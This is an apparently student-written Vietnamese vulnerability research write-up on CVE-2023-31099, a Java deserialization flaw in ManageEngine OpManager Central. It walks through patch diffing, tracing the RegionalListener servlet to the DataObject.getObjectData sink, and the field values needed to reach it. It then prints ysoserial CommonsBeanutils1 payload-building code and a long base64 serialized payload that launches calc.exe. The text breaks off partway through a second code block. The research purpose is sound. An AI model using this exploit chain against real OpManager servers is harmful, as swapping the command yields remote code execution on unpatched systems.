# [CVE-2023-31099] Việc hôm nay chớ để 1DAY

## I. Tản Mạn

Câu chuyện là mình đến kì đồ án, muốn thử sức build query Codeql nên mình quyết định poc 1 cái CVE để thêm vào báo cáo đồ án cho uy tín. Vậy thì tại sao không phải là 1 cái 1Day deserialize nhỉ ??

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731773851323/a7db9d54-a9e9-40cb-bdbc-c18d9d3f7ef8.gif align="center")

Một số điều về CVE-2023-31099:

* [NVD - CVE-2023-31099](https://nvd.nist.gov/vuln/detail/CVE-2023-31099)
    
* [Security Updates - CVE-2023-31099](https://www.manageengine.com/network-monitoring/security-updates/cve-2023-31099.html)
    
* [OpManager Architecture| ManageEngine OpManager](https://www.manageengine.com/network-monitoring/help/architecture.html)
    

![Hình 1. Sơ đồ network của OP manager liên kết giữa Central-probe](https://cdn.hashnode.com/res/hashnode/image/upload/v1731605490969/d8d00609-9e2c-41c1-8dde-904aeac4e091.png align="center")

*—————————-Hình 1. Liên kết giữa probe và central—————————*

Từ những thông tin về lỗ hổng và *Hình 1,* mình đoán lỗ hổng nằm ở việc giao tiếp giữa probe-central, và lỗ hổng sẽ nằm phía Central.

Do đó chúng ta cần phải có :

* 1 bản probe để giao tiếp với central
    
* 2 bản central: 1 bản central vuln và 1 patch diff để source.
    

Link download các bản:

[https://archives3.manageengine.com/opmanager/126323/](https://archives3.manageengine.com/opmanager/126323/)

[https://archives3.manageengine.com/opmanager/126324/](https://archives3.manageengine.com/opmanager/126324/)

## II. Setup

Bước 1: Cài đặt 2 phiên bản OpManage Central 126323(vuln) và 126324(patch) ở 2 máy khác nhau để tránh bị ghi đè thư mục. Nếu việc cài đặt trơn tru, OP manager central của bạn sẽ được cài đặt ở port 8060 và 8061.

Bước 2: Cài đặt OpManage probe ở server nào cũng được. Khi cài đặt sẽ cần liên kết với 1 Central(ở đây là bản vuln 126323).

Bước 3: Để bắt được giao tiếp từ probe tới central, cần phải setup proxy cho gói tin giao tiếp đi qua burp. Thật may OpManage probe cũng hỗ trợ điều này khi cài đặt

Bước 4: Debug ftw

## III. Setup Debug phía server

Setup debug thật sự làm khó mình. Đây là lần đầu tiên mình setup debug cho Java ( <s>Thật ra là lần đầu setup debug không riêng gì Java</s>). Ta sẽ xem xét các process của chương trình, xem xem config xuất phát từ đâu và chỉnh sửa nó.

Check qua `Process Hacker` ta thấy có process `java.exe` đang handle port 8061 được chạy. Nhấn chuột phải &gt; `Go to process`. Có thể thấy Process này được spawn bởi `Wrapper.exe`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731735036117/ef232af5-1e03-4e15-922a-a4307aa564d0.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731735235536/930e551a-de9f-403a-aea6-146364cb5ef6.png align="center")

Đọc command khi run process `wrapper.exe` đó thì thấy có load config từ file **wrapper.conf**. Xem file wrapper.conf thì thấy đúng là có các options java kèm theo của chương trình **java.exe** ở trên. Tiếp theo ta chỉ cần add thêm options để debug là được.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731735332856/b93cdf8f-7b3e-4466-b9e5-76d874db9213.png align="center")

Có 2 options thường hay sử dụng để debug, đó là (tùy vào version Java):

```plaintext
1. -Xdebug
-Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=n

2. -agentlib:jdwp=transport=dt_socket,address=5005,server=y,suspend=n
```

Mình chọn option 1. Sau khi thêm options debug vào và khởi động lại service, thấy có listen trên port 5005 là thành công.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731735446101/73bb70a6-0971-4076-b8a0-fd27ddaccaa2.png align="center")

## IV. Setup debug phía Client

Bước 1: Xác định phiên bản Java Opmanage dùng

Đọc file `setENV.bat` nhận thấy java mà OPmanage sử dụng là `Java 8.64.0.19-jdk8.0.345` của [zulu](https://www.azul.com/downloads/#zulu)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731740395337/297eb949-02a2-4adc-9b6a-e7ac24d79a9d.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731740382098/a197f765-690b-41d5-93a3-18ce51dd6ef6.png align="center")

Bước 2: Lấy ra các file Jar mà OPmanage dùng (ở đây vì lười nên mình sẽ lấy hết bằng snippet code của anh K4ito).

```plaintext
import os
import shutil
import glob

def copy_jar_files(source_dir, dest_dir):
    # Create the destination directory if it doesn't exist
    if not os.path.exists(dest_dir):
        os.makedirs(dest_dir)

    # Recursively search for JAR files in the source directory and its subdirectories
    jar_files = glob.glob(os.path.join(source_dir, "**/*.jar"), recursive=True)

    for jar_file in jar_files:
        # Copy the JAR file to the destination directory
        # print(jar_file)
        if '\jre\\lib' in jar_file:
            print(jar_file+" in java")
        shutil.copy2(jar_file, dest_dir)
        print(f"Copied {jar_file} to {dest_dir}")


# Example usage
source_directory = "E:\Research\\1-day\CVE-2023-31099-ManageEngine_OpManager\OpManagerCentral126323\OpManagerCentral"
destination_directory = "E:\Research\Lab\Library\OpManager_126323"

copy_jar_files(source_directory, destination_directory)
```

Sau khi có hết các library file Jar vào 1 thư mục (ta gọi là thư mục ***Lib***), ta sẽ thực hiện thêm 1 bước mapping source, ước này không cần làm vẫn có thể debug được bình thường (tuy nhiên mình recommend có bước này vì sẽ giúp chúng ta trace ngược code, sink → source, nếu không thì mình chỉ có thể trace xuôi, vì không có source code sẽ không thể sử dụng chức năng **Find usages, Find text, …** của IDEA).

Ở bước này, ta sẽ zip hết các file jar lại thành 1 file zip, sử dụng tool ***JD-GUI*** và open file zip đó. Để đẹp và debug được đúng dòng code, vào **Help → Preferences** và click chọn ***Realign line numbers*** và bỏ chọn ***Write original line numbers.*** Sau đó, chỉ cần chọn Save all sources, ta sẽ được 1 file zip của các file zip source. Extract file zip đó và ta sẽ được 1 folder chứa các file zip source gọi là folder ***Sources*** (phân biệt với folder ***Lib*** ở trên).

Bước 3: Bật IDEA IntelliJ và chọn New project và setup path của JDK trỏ vào thư mục Java của Zulu mà mình đã down ở trên.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731744141011/f6d4a7ee-6136-4872-9058-ffdf7ffca1b7.png align="center")

Sau đó, chọn **File → Project Structure → Libraries → + → Java**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731744183911/94a03136-76f4-40d3-8339-b86165cb91f9.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731744205880/eb6e64ac-db97-401b-877f-34faba8005e4.png align="center")

Nhớ tắt firewall nếu bạn dùng windows ở phía server

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731744695255/a19dd0cb-1d7d-4968-ad98-9e4c9b62c04a.png align="center")

![](https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2F32c8035d-d846-416c-ac39-3ebe0efb5e67%2F3ecc6ebd-6eb5-4ef3-9e7f-c69d5751df77%2FUntitled.png?table=block&id=721ff931-8646-4253-897c-b933045485a6&spaceId=32c8035d-d846-416c-ac39-3ebe0efb5e67&width=1100&userId=d59118b9-d552-4184-90e8-d71bab629651&cache=v2 align="left")

## V. Diff patch

Ta sẽ diff dựa vào thư mục cài đặt của 2 server Central. Sử dụng công cụ ***MeldMerge*** để diff 2 thư mục và tool IDEA để diff 2 file.

Trước tiên ta sẽ đi diff các file JAR ở các `CLASSPATH` của chương trình. Sau khi mò mẫm thì thấy có file tên `setEnv.bat` có vẻ để set các biến môi trường, trong đó có các `CLASSPATH`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731744932856/358cea1d-9218-462b-aa0c-6d93146b8c96.png align="center")

Các bước diff patch mà mình thực hiện như sau:

1. Diff các folder `CLASSPATH` này trước
    
2. Diff các file có sự thay đổi
    
3. Xem xét sự thay đổi có liên quan trực tiếp (key points) với mô tả lỗi không
    
4. Quay lại bước 1
    

Sau khi không tìm thấy gì nữa thì mình sẽ xem thay đổi các file khác ngoài rìa như *.conf,* .properties,…

Kết quả khi diff patch folder `classes`

![](https://img.notionusercontent.com/s3/prod-files-secure%2F32c8035d-d846-416c-ac39-3ebe0efb5e67%2F9436d2f6-d08d-46e0-b3f3-13cc4452959e%2FUntitled.png/size/w=1420?exp=1731772624&sig=Syb3zquz9o087MRx8g54G-yQu7W-WOBznur_CgH3XIU align="left")

Sau khi diff hết các file JAR này, ta sẽ thấy key points của lỗ hổng này nằm ở file `OpManagerDistribution.jar`

![](https://img.notionusercontent.com/s3/prod-files-secure%2F32c8035d-d846-416c-ac39-3ebe0efb5e67%2F8ce8c75e-5162-4f24-9fda-91365f70c4de%2FUntitled.png/size/w=1420?exp=1731772642&sig=38n2PatxppOYxVOH9YmXedMLeaMBQx41ZKmREBGo6kA align="left")

Bên trái là bản vuln, bên phải là bản patch. Sau khi xem xét thì bản patch đã whitelist các class được quyền deserialize( thông qua classname)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731772787207/0d2f161e-ab54-472a-8cef-4a2c7b1f3654.png align="center")

## VI. Analysis

Bắt đầu từ `DataObject.getObjectData`, trace ngược, ta có thể thấy 1 số source gọi đến sink này. Nhưng vì mình có kinh nghiệm ( <s>đọc tất cả các source lab này 😢</s> ) nên mình đoán mình nên đi theo hướng `SPPRegionalCommBE`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731745892159/617f6695-9e32-4dec-86be-422a4fbd234f.png align="center")

Để gọi được phương phức `dataObject.getObjectData()` cần phải call thông qua phương thức `transferDataToNOC` của class `SPPRegionalCommBE`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731746038882/3aa9c9d9-02bc-4723-ab27-6c1010fba925.png align="center")

Trace thêm lần nữa có thể thấy phương thức `transferDataToNOC` kể trên được call khi có 1 gói Post call (class `RegionalListener` )

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731746246523/3b64dd81-ec93-46be-bb8f-f6da8afa18bc.png align="center")

Đọc file `web.xml` có thể thấy được chúng ta cần Post tới `/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.RegionalListener`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731746421624/2afb1a00-f86b-46ce-a296-80b3794dff4f.png align="center")

Quay trở lại file `RegionalListener`, có 1 dòng `SetcClassName` đang thực hiện whitelist để phòng tránh việc insecure deserialize. <s>Vậy thì phải làm thế nào ??</s>

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731746582919/327a12af-9603-4e8f-8d8d-0b8647324af9.png align="center")

Hãy `flashback` lại 1 chút vào sink `dataObject.getObjectData()`. Nơi mà chúng ta cần trigger là thuộc tính `data` ( byte\[\] ), ở đây không có có filter gì cả.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731747286100/310563fe-5a44-4b51-a104-88538c891f68.png align="center")

`Source` và `sink` đã tìm được, bây giờ chúng ta sẽ đặt breakpoint để tìm điều kiện cần để `source` tới được `sink` . Đặt break point tại dòng 85 của file `RegionalListener`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731748304073/79aee316-125e-4c41-a600-fb3de6ce69bb.png align="center")

Spam `Step into` , nhận thấy để tới được dòng 392 (sink) thì cần phải có `dataObject.getNotificationType() == 24` và `dataObject.getDataPriority() == 0` . Tuy nhiên hiện tại `dataObject.getNotificationType()=0`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731748891490/c3a2715c-6e2e-4d01-bbc4-713177853f3b.png align="center")

Lúc này chúng ta cần dùng `Java Reflection` của Java để sửa thuộc tính hoặc tận dụng các phương thức public sẵn của class

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731749100787/759c9fe2-88ae-4769-b799-5649065a158b.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731749125804/f8aff194-005a-4742-91ff-9c3e2fd6cb69.png align="center")

Tiếp tục, để vào được nhánh If dòng 391 chúng ta cần phải sửa đổi thuộc tính `userProps` của `dataObject` (private Properties userProps) và thuộc tính `Property` của `dataObject.getUserProperties()` (vì hiện tại `userProps` đang là null)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731749203444/95240eea-7dd0-482f-8a4a-c21e0b705f16.png align="center")

Dưới đây là cả 4 câu lệnh để setup các biến đã nói ở trên

```plaintext
dataObject.setNotificationType(24)
dataObject.setDataPriority(0)
dataObject.setUserProperties(new Properties())
dataObject.getUserProperties().setProperty("regReqID","0")
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731749642865/9bb1f3ac-5f84-4fd2-bfbc-14bfceaaeb56.png align="center")

Tiếp tục chúng ta cần `!this.isDataEncrypted =true` và `this.object != null` (đã thỏa mãn) để vào được nhánh else

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731750897015/c9fd10c3-6e50-4a7c-9341-f373df2fb865.png align="center")

Cuối cùng để tránh phải encrypt payload ở `this.data` ta cần phải set cho `this.isDataEncrypted =false` (đa thỏa mãn). Ngoài ra nhánh else ở dòng 248 thực hiện decompress `this.data` , điều đó có nghĩa là chúng ta cần phải compress `this.data` nếu muốn payload hoạt động đúng. Vừa hay ta chỉ cần dùng `Java Reflection` để thực hiện điều đó thông qua phương thức `setByte` của class `DataObject`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731750982962/dd71376a-971a-46c0-be8e-ac9e334ed67d.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731751369291/8801858e-2f5e-4543-af68-945f0f5b20f9.png align="center")

Hướng đi đã có, giờ là lúc để xây Payload

## VII. Payload build

Soi tới soi lui `ysoserial` , mình quyết định thử combo `CommonsBeanutils1` , lý do là vì OPmanage dùng cả 3 class `commons-beanutils`, `commons-collections`, `commons-logging` chỉ khác về version của 2 class `commons-beanutils`, `commons-collections`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731751944765/bd737868-9c01-42cf-8a0f-ed0e46caabef.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731752044959/43fcc0ac-38f5-49b9-8c3f-319a73f66ada.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731752062192/693e253d-d7f2-478e-ac5b-be3b388c4915.png align="center")

Với tinh thần sai đâu sửa đấy (từ anh LinhDD8 và anh K4it0), mọi người bảo mình cứ build payload bằng tool, sau đó xem version các file jar kia thay đổi gì thì tính tiếp.

Bước 1: add `ysoserial-all.jar` vào new Project , sau đó dùng script sau build payload

```plaintext
package payloadbuild;

import java.io.*;
import java.util.Base64;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;

import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

public class Payloadbuild {

    // Tạo object payload
    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        // Mock method name until armed
        final BeanComparator comparator = new BeanComparator("lowestSetBit");

        // Create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);

        // Stub data for replacement later
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));

        // Switch method called by comparator
        Reflections.setFieldValue(comparator, "property", "outputProperties");

        // Switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;

        return queue;
    }

    // Serialize object and encode as Base64 string
    public String serializeToBase64(Object object) throws IOException {
        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(object); // Serialize object to byte array
            oos.flush();
            return Base64.getEncoder().encodeToString(baos.toByteArray()); // Encode bytes to Base64
        }
    }

    // Decode Base64 string and deserialize object
    public Object deserializeFromBase64(String base64String) throws IOException, ClassNotFoundException {
        byte[] data = Base64.getDecoder().decode(base64String); // Decode Base64 to byte array
        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             ObjectInputStream ois = new ObjectInputStream(bais)) {
            return ois.readObject(); // Deserialize object from byte array
        }
    }

    public static void main(final String[] args) throws Exception {
        Payloadbuild payloadBuild = new Payloadbuild();

        // Generate payload object
        Object object = payloadBuild.getObject("calc.exe");

        // Serialize object to Base64 string
        String base64Payload = payloadBuild.serializeToBase64(object);
        System.out.println("Serialized Payload (Base64):");
        System.out.println(base64Payload);

        // Deserialize object from Base64 string
//        Object deserializedObject = payloadBuild.deserializeFromBase64(base64Payload);
//        System.out.println("Deserialized Object:");
//        System.out.println(deserializedObject);
    }
}
```

Ta nhận được đoạn base64

```plaintext
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABpzK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAIY2FsYy5leGUIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXIxMzEyNzA3MjYzODUwMAEAH0x5c29zZXJpYWwvUHduZXIxMzEyNzA3MjYzODUwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==
```

Bước 2: add 3 class `commons-beanutils-1.9.4.jar` , `commons-collections4-4.3.jar`, `commons-logging-1.2.jar` sau đó bỏ `ysoserial-all.jar` khỏi các lib import. Rồi dùng script dưới đây:

```plaintext
package payloadbuild;

import java.io.*;
import java.util.Base64;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;


public class Payloadbuild {
//
//    // Tạo object payload
//    public Object getObject(final String command) throws Exception {
//        final Object templates = Gadgets.createTemplatesImpl(command);
//
//        // Mock method name until armed
//        final BeanComparator comparator = new BeanComparator("lowestSetBit");
//
//        // Create queue with numbers and basic comparator
//        final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
//
//        // Stub data for replacement later
//        queue.add(new BigInteger("1"));
//        queue.add(new BigInteger("1"));
//
//        // Switch method called by comparator
//        Reflections.setFieldValue(comparator, "property", "outputProperties");
//
//        // Switch contents of queue
//        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
//        queueArray[0] = templates;
//        queueArray[1] = templates;
//
//        return queue;
//    }

    // Serialize object and encode as Base64 string
    public String serializeToBase64(Object object) throws IOException {
        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(object); // Serialize object to byte array
            oos.flush();
            return Base64.getEncoder().encodeToString(baos.toByteArray()); // Encode bytes to Base64
        }
    }

    // Decode Base64 string and deserialize object
    public Object deserializeFromBase64(String base64String) throws IOException, ClassNotFoundException {
        byte[] data = Base64.getDecoder().decode(base64String); // Decode Base64 to byte array
        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             ObjectInputStream ois = new ObjectInputStream(bais)) {
            return ois.readObject(); // Deserialize object from byte array
        }
    }

    public static void main(final String[] args) throws Exception {
        Payloadbuild payloadBuild = new Payloadbuild();

        // Deserialize object from Base64 string
        Object deserializedObject = payloadBuild.deserializeFromBase64("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABpzK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAIY2FsYy5leGUIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0Y